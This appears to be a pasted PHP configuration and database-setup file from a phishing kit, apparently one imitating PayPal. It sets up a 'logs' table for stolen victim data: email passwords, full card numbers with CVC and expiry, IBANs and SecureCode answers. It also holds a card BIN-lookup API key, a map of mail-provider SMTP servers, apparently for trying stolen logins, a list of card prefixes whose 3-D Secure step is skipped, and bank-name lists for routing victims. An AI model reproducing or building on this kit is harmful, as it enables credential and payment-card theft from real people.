· 9 years ago · Dec 11, 2016, 07:02 PM
1<?php
2 session_start();
3
4 // Configuration
5 $config = [
6 'url' => 'http://' . $_SERVER['HTTP_HOST'],
7 'mysql' => [
8 'hostname' => 'localhost',
9 'username' => 'root',
10 'password' => '123456',
11 'database' => 'pp'
12 ],
13 'bincodes' => [
14 'enabled' => true,
15 'api_key' => '2d974e94811161f1dda14bbf63aa9790'
16 ],
17 // Alle SMTPs welche nicht folgenden Format haben: smtp.example.com:25
18 'smtps' => [
19 'web.de' => [
20 'host' => 'smtp.web.de',
21 'port' => 587
22 ],
23 'aol.com' => [
24 'host' => 'smtp.de.aol.com',
25 'port' => 587
26 ],
27 'aol.de' => [
28 'host' => 'smtp.aim.com',
29 'port' => 587
30 ],
31 'aim.com' => [
32 'host' => 'smtp.aim.com',
33 'port' => 587
34 ],
35 'arcor.de' => [
36 'host' => 'mail.arcor.de',
37 'port' => 25
38 ],
39 'bluewin.ch' => [
40 'host' => 'smtpauths.bluewin.ch',
41 'port' => 25
42 ],
43 'gmail.com' => [
44 'host' => 'smtp.gmail.com',
45 'port' => 587
46 ],
47 'gmail.de' => [
48 'host' => 'smtp.gmail.com',
49 'port' => 587
50 ],
51 'googlemail.com' => [
52 'host' => 'smtp.gmail.com',
53 'port' => 587
54 ],
55 'gmx.de' => [
56 'host' => 'mail.gmx.net',
57 'port' => 587
58 ],
59 'gmx.net' => [
60 'host' => 'mail.gmx.net',
61 'port' => 587
62 ],
63 'outlook.de' => [
64 'host' => 'smtp-mail.outlook.com',
65 'port' => 587
66 ],
67 'live.de' => [
68 'host' => 'smtp-mail.outlook.com',
69 'port' => 587
70 ],
71 'hotmail.de' => [
72 'host' => 'smtp-mail.outlook.com',
73 'port' => 587
74 ],
75 'live.com' => [
76 'host' => 'smtp-mail.outlook.com',
77 'port' => 587
78 ],
79 'outlook.com' => [
80 'host' => 'smtp-mail.outlook.com',
81 'port' => 587
82 ],
83 'yahoo.de' => [
84 'host' => 'smtp.mail.yahoo.com',
85 'port' => 25
86 ],
87 'yahoo.com' => [
88 'host' => 'smtp.mail.yahoo.com',
89 'port' => 25
90 ],
91 't-online.de' => [
92 'host' => 'securesmtp.t-online.de',
93 'port' => 25
94 ],
95 'unitybox.de' => [
96 'host' => 'submit.unitybox.de',
97 'port' => 587
98 ],
99 'kabelbw.de' => [
100 'host' => 'submit.kabelbw.de',
101 'port' => 587
102 ],
103 'one.com' => [
104 'host' => 'send.one.com',
105 'port' => 587
106 ],
107 'freenet.de' => [
108 'host' => 'mx.freenet.de',
109 'port' => 587
110 ]
111 ],
112 // Bins bei dem die SecureCode Abfrage übersprungen werden
113 'skipBins' => [
114 /*
115 '457096',
116 '548622',
117 '548621'
118 */
119 ],
120 // Banken (Alles groß schreiben, da es bei Debian sonst nicht erkannt wird)
121 'banks' => [
122 'santander' => [
123 'SANTANDER CONSUMER BANK AG',
124 'SANTANDER DIREKT BANK AG'
125 ],
126 'vw' => [
127 'VOLKSWAGEN BANK GMBH'
128 ],
129 'advanzia' => [
130 'ADVANZIA BANK, S.A.'
131 ],
132 'barclay' => [
133 'BARCLAYS BANK PLC',
134 'BARCLAYCARD GERMANY'
135 ],
136 'airp' => [
137 'LUFTHANSA AIRPLUS SERVICEKARTEN GMBH'
138 ],
139 'dkb' => [
140 'DEUTSCHE KREDITBANK AG (DKB), LUFTHANSA, MILES AND MORE'
141 ],
142 'lbb' => [
143 'LANDESBANK BERLIN AG'
144 ],
145 'dzb' => [
146 'DZ BANK AG',
147 'DZ BANK AG DEUTSCHE ZENTRAL- GENOSSENSCHAFTSBANK'
148 ],
149 'wgz' => [
150 'WGZ BANK AG WESTDEUTSCHE GENOSSENSCHAFTS-ZENTRALBANK'
151 ],
152 'random' => [
153 'TARGOBANK AG AND CO. KGAA',
154 'DEUTSCHE POSTBANK AG',
155 'CITIBANK AG',
156 'ING-DIBA AG',
157 'COMMERZBANK AG',
158 'MERCEDES-BENZ BANK AG',
159 'LANDESBANK BADEN-WUERTTEMBERG',
160 'COMDIRECT BANK AG',
161 'DEUTSCHE BANK AG',
162 'DEUTSCHE BANK PRIVAT-UND GESCHAEFTSKUNDEN AG',
163 'BAYERISCHE LANDESBANK GIROZENTRALE',
164 'BAYERISCHE LANDESBANK',
165 'SUEDDEUTSCHE BANK GMBH',
166
167 'DEUTSCHER SPARKASSEN - UND GIROVERBAND',
168 'SPARKASSE'
169 ]
170 ]
171 ];
172
173 if(!defined('CONTINUE_PDO')) {
174 // MySQL Connection
175 $pdo = new PDO(
176 'mysql:host=' . $config['mysql']['hostname'] . ';',
177 $config['mysql']['username'],
178 $config['mysql']['password']
179 );
180
181 $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
182
183 $pdo->query('CREATE DATABASE IF NOT EXISTS ' . $config['mysql']['database']);
184 $pdo->query('use ' . $config['mysql']['database']);
185
186 $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
187 $pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, "SET NAMES 'utf8' COLLATE 'utf8_general_ci'");
188 $pdo->exec('SET NAMES \'utf8\'');
189 mb_internal_encoding('UTF-8');
190
191 $pdo->exec('
192 CREATE TABLE IF NOT EXISTS `admins` (
193 `id` int(11) NOT NULL AUTO_INCREMENT,
194 `username` varchar(255) NOT NULL,
195 `password` varchar(255) NOT NULL,
196 PRIMARY KEY (`id`)
197 ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
198
199 INSERT INTO `admins` VALUES (\'1\', \'Admin\', \'123456\');
200
201 DROP TABLE IF EXISTS `logs`;
202 CREATE TABLE `logs` (
203 `id` int(11) NOT NULL AUTO_INCREMENT,
204 `ip` varchar(255) DEFAULT NULL,
205 `user_agent` text,
206 `email` varchar(255) DEFAULT NULL,
207 `password` varchar(255) DEFAULT NULL,
208 `firstname` varchar(255) DEFAULT NULL,
209 `surname` varchar(255) DEFAULT NULL,
210 `dob_day` int(11) DEFAULT \'0\',
211 `dob_month` int(11) DEFAULT \'0\',
212 `dob_year` int(11) DEFAULT \'0\',
213 `method` enum(\'creditcard\',\'bank\') DEFAULT \'creditcard\',
214 `cc_number` varchar(255) DEFAULT NULL,
215 `cc_expire_month` int(2) DEFAULT NULL,
216 `cc_expire_year` int(4) DEFAULT NULL,
217 `cc_cvc` int(4) DEFAULT NULL,
218 `bank_iban` varchar(255) DEFAULT NULL,
219 `bank_bic` varchar(255) DEFAULT NULL,
220 `cc_bank` varchar(255) DEFAULT NULL,
221 `cc_type` varchar(255) DEFAULT NULL,
222 `cc_level` varchar(255) DEFAULT NULL,
223 `cc_country` varchar(255) DEFAULT NULL,
224 `cc_countrycode` varchar(255) DEFAULT NULL,
225 `cc_card` varchar(255) DEFAULT NULL,
226 `cc_limit` int(11) DEFAULT \'0\',
227 `street` varchar(255) DEFAULT NULL,
228 `city` varchar(255) DEFAULT NULL,
229 `plz` int(5) DEFAULT NULL,
230 `sc_1` varchar(255) DEFAULT NULL,
231 `sc_2` varchar(255) DEFAULT NULL,
232 `timestamp` varchar(255) DEFAULT \'123456789\',
233 PRIMARY KEY (`id`)
234 ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;
235 ');
236 }
237
238 // Functions
239 function isLoggedIn() {
240 global $pdo;
241
242 if(isset($_SESSION['acp_username'], $_SESSION['acp_password'])) {
243 $stmt = $pdo->prepare('SELECT NULL FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1');
244 $stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]);
245
246 return $stmt->rowCount() > 0;
247 }
248
249 return false;
250 }
251
252 function getLogsCount() {
253 global $pdo;
254
255 $qry = $pdo->query('SELECT NULL FROM `logs`');
256
257 return $qry->rowCount();
258 }
259
260 function getUserInfo($row, $filter = true) {
261 global $pdo;
262
263 if(isLoggedIn()) {
264 $stmt = $pdo->prepare('SELECT `' . $row . '` FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1');
265 $stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]);
266
267 if($stmt->rowCount() > 0) {
268 $obj = $stmt->fetch(PDO::FETCH_OBJ);
269 return $filter ? htmlspecialchars($obj->{$row}) : $obj->{$row};
270 }
271 }
272
273 return '';
274 }
275
276 function getIp() {
277 $ip = $_SERVER['REMOTE_ADDR'];
278
279 if(!empty($_SERVER['HTTP_CLIENT_IP'])) {
280 $ip = $_SERVER['HTTP_CLIENT_IP'];
281 } else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
282 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
283 } else if(isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
284 $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
285 }
286
287 return $ip;
288 }
289?>